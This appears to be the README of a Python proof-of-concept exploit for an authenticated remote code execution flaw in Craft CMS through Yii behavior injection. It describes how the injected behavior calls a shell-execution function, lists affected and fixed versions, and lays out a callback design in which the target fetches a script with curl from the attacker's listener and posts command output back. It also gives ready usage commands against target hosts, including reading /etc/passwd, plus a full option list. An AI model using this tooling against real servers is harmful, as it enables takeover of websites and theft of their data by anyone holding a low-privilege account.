
Python proof-of-concept exploit for CVE-2026-44011, an authenticated RCE in Craft CMS via Yii behavior injection, with two-stage command output capture.
Authenticated RCE in Craft CMS via Yii behavior injection.
Affected: 4.0.0–4.17.11, 5.0.0–5.9.17
Fixed in: 4.17.12, 5.9.18
Advisory: GHSA-qrgm-p9w5-rrfw
The /admin/actions/element-search/search endpoint accepts a condition parameter that gets passed directly into ElementCondition::createCondition() without Component::cleanseConfig() being called first. This means Yii's special object-construction keys — __class, as <name> (attach behavior), on <event> (register handler) — take effect when the FieldLayout object is built from the request data.
The exploit attaches AttributeTypecastBehavior configured to call Psy\Readline\Hoa\ConsoleProcessus::execute() (a PSY/Yii internal that runs shell commands) as its typecast callable. The behavior fires on the beforeSave event, which Craft triggers during the same request.
Any account — even a low-privilege editor — can do this. No admin rights needed.
Rather than a blind reverse shell, it uses a two-stage output capture:
curl command that fetches a shell script from a local HTTP listener you controlYou get the command output directly in the terminal, no nc listener needed.
requests library (pip install requests)# Basic — run id on the target
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
The callback host/port is where the target POSTs output back to you. By default the host is inferred from your route to the target and the port is OS-assigned. If the target is behind a NAT or VPN you'll need --callback-host pointing to your reachable IP.
-b / --base-url Target origin (required)
-P / --cp-path Control panel path (default: /admin)
-u / --username Login name or email (required)
-p / --password Password (required)
-c / --command Shell command to execute (required)
-s / --site-id Craft site ID (default: 1)
-e / --element-type Element type for the condition (default: craft\elements\Category)
-t / --timeout Request timeout in seconds (default: 15)
-H / --callback-host Your reachable address for output callbacks
--listen-port Port for output listener (default: OS picks one)
--no-verify Skip TLS cert verification
-F / --force Skip version range check
For authorized security testing and research only.